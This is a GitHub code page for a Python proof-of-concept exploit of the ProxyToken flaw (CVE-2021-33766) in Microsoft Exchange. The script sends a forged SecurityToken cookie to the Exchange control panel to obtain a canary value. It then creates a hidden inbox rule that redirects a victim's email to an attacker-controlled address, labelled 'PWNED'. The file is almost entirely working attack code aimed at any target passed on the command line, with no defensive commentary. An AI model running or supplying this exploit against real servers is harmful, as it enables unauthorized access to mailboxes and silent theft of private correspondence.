-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2021-33766.py
66 lines (57 loc) · 2.76 KB
/
CVE-2021-33766.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import requests
import json
import argparse
parser = argparse.ArgumentParser(description='A PoC for ProxyToken CVE-2021-33766')
parser.add_argument('--target', dest='target',required=True, help='Target Exchange Server to exploit')
args = parser.parse_args()
target = args.target
victim_email = "[email protected]"
user_agent = "Mozilla/5.0"
exploit_content = {"properties":
{"RedirectTo":
[{"RawIdentity": "[email protected]",
"DisplayName": "PWNED",
"Address": "[email protected]",
"AddressOrigin": 3,
"RecipientFlag": 0,
"RoutingType": "SMTP",
"SMTPAddress": "[email protected]"}],
"Name": "SheloNeda555",
"StopProcessingRules": True}}
exploit_page = "RulesEditor/InboxRules.svc/NewObject"
test_body = {"test": "value"}
# Initial request to obtains the msExchEcpCanary for the response // Status code will be 500
stage1 = requests.post("https://%s/ecp/%s/%s" % (target,victim_email, exploit_page),
headers={
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "close",
"Cookie": "SecurityToken=x",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent},
data=test_body,
verify=False
)
if stage1.status_code == 500:
try:
canary = stage1.cookies['msExchEcpCanary']
canary_param = "?msExchEcpCanary=%s" % canary
exploit_serialized = json.dumps(exploit_content)
# After getting the msExchange Canary, craft new POST and Exploit the system
stage2 = requests.post("https://%s/ecp/%s/%s%s" % (target, victim_email, exploit_page, canary_param),
headers={
"Accept-Encoding"
"": "gzip, deflate",
"Accept": "*/*",
"Connection": "close",
"Cookie": "SecurityToken=x",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent},
data=exploit_serialized,
verify=False
)
print(stage2)
except Exception as e:
print("Got Exception: ", e)
else:
print("It tooo late to apologizee")